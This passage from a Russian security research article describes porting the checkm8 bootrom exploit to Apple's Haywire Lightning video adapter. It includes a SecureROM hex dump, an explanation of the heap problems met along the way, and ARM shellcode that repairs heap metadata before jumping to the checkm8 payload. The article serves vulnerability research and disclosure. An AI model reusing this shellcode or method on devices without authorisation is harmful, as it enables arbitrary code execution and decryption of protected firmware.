00000080: 69 42 6F 6F 74 2D 31 34 31 33 2E 38 00 00 00 00 iBoot-1413.8....
00000090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000D0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000E0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000F0: 00 00 00 00 00 00 00 00 00 00 00 00 00 .............
```
Используя данный подход, можно полностью сдампить весь `SecureROM`. За счет того, что `Haywire` всегда запускается в режиме `DFU`, этот процесс можно полностью автоматизировать, и на весь дамп потребуется менее часа. После этого можно приступить к поиску необходимых смещений для портирования `checkm8` на `Haywire`.
Портирование checkm8 на Haywire
-------------------------------
Для поиска необходимых функций и констант можно сравнивать `SecureROM` устройств, для которых `checkm8` уже реализован, и `SecureROM`, извлеченный с `Haywire`. Сам процесс поиска описывать не будем, результат можете посмотреть в [репозитории](https://github.com/a1exdandy/ipwndfu-haywire/blob/master/checkm8.py#L166). К сожалению, после того, как все значения были найдены, ничего не заработало, устройство не переходило в `pwned-DFU` режим. Оказалось, что это вызвано двумя проблемами: отсутствие свободного пространства в куче и повреждение метаданных кучи. Первую проблему наверняка можно решить, подобрав другое, меньшее значение `large_leak`, а вторую — перезаписывая конфигурационные дескрипторы и метаданные чанков валидными значениями. Вместо этого можно воспользоваться дополнительным шеллкодом для восстановления метаданных и освобождения кучи, и затем уже передать управление на полезную нагрузку `checkm8`. В результате получился следующий шеллкод:
```
push {r1-r7,lr}
ldr r4, =0x2201b4e0 # leaked requests address
mov r5, #0
ldr r6, =0x361c # free function
add r6, r6, #1
# we need more free space, so clear leaked requests
loop:
add r0, r4, r5
blx r6
add r5, r5, #0x40
cmp r5, #0x780
bne loop
# restore original chunk meta-data
ldr r4, =0x2201b340 # second conf descriptor chunk header
ldr r0, =0x00000008 # original chunk header values
ldr r1, =0x00000002
str r0, [r4]
str r1, [r4, #4]
pop {r1-r7,lr}
ldr r0, =0x22000000
bx r0 # jump to checkm8 payload
```
Необходимые адреса на куче и нужные значения метаданных, используемые в шеллкоде, были получены с помощью метода чтения по произвольному адресу, описанному в предыдущей части статьи.
В результате был получен `checkm8` с полностью рабочими примитивами: чтения и записи памяти, а также исполнения функций по произвольному адресу. Дополнив другие значения, используемые в `ipwndfu`, удалось получить доступ к функции шифрования и дешифрования с помощью `GID`-ключа и затем расшифровать вторую стадию загрузки `Haywire` с помощью утилиты [xpwntool](https://github.com/planetbeing/xpwn/):
Вывод
-----
Описанный в статье метод извлечения `SecureROM` не требует особых версий устройств со включенной отладкой, дорогостоящих отладочных кабелей или специализированного оборудования. Конечно, этот метод работает далеко не на всех устройствах, а лишь на тех, где возможно исполнение кода в секции данных. В случае `Apple`, это устройства с 32-битной архитектурой `armv7`. `checkm8` уже поддерживает большинство таких устройств, но не `Haywire`, именно поэтому мы и взяли его в качестве примера.
Ознакомиться с результатом можно в репозитории [ipwndfu-haywire](https://github.com/a1exdandy/ipwndfu-haywire).
Теперь, имея возможность исполнять произвольный код в `SecureROM`, наконец-то можно попробовать [`запустить DOOM`](https://twitter.com/JacobEthanWhite/status/1210669461897805824) прямо на видеоадаптере `Haywire`.
Надеемся, что статья была интересной и полезной. Хотя и описанный подход специфичен для устройств `Apple` и уязвимостей из `checkm8`, он и его отдельные части могут быть применены в контексте других устройств.
[Первоисточник](https://dsec.ru/blog/checkm8-dlya-lightning-videoadapterov-apple/)
Ссылки
------
1. [Технический анализ эксплойта checkm8](https://habr.com/ru/company/dsec/blog/471668/)
2. [Luca Todesco, The One Weird Trick SecureROM Hates](http://iokit.racing/oneweirdtrick.pdf)
3. [checkra1n](https://checkra.in/)
4. [Panic Blog, The Lightning Digital AV Adapter Surprise](https://panic.com/blog/the-lightning-digital-av-adapter-surprise/)
5. [The iPhone Wiki, Haywire](https://www.theiphonewiki.com/wiki/Haywire)
6. [@nyan\_satan, Haywire](https://twitter.com/nyan_satan/status/1155148789977636864)
7. [Habr, Как работает видеоадаптер Apple Lightning](https://habr.com/ru/post/461607/)
8. [ipwndfu](https://github.com/axi0mX/ipwndfu)
9. [ipwndfu-haywire](https://github.com/a1exdandy/ipwndfu-haywire) | https://habr.com/ru/post/485216/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.